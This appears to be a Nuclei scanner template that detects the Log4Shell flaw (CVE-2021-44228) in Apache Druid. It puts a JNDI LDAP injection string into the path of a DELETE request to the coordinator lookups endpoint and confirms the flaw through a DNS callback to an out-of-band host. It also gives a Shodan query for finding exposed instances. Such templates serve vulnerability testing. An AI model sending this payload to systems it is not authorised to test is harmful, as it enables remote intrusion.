id: apache-druid-log4j

info:
  name: Apache Druid - Remote Code Execution (Apache Log4j)
  author: SleepingBag945
  severity: critical
  description: Apache Druid is vulnerable to RCE due to Log4j.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-502
    cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Apache Druid"
    product: druid
    vendor: apache
  tags: cve,cve2021,rce,jndi,log4j,apache,druid,oast,kev

http:
  - method: DELETE
    path:
      - "{{BaseURL}}/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2f{{interactsh-url}}%2ftea%7d"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 404
# digest: 4a0a00473045022100b68a7a99ac97899c977b009a7199c63600b00c3e154f52104c7ae0fa6d448ad6022044c6c11ea438a7696764faba7ea1932b6a4c620b597b2055da03aafb6bf4438d:922c64590222798bb761d5b6d8e72950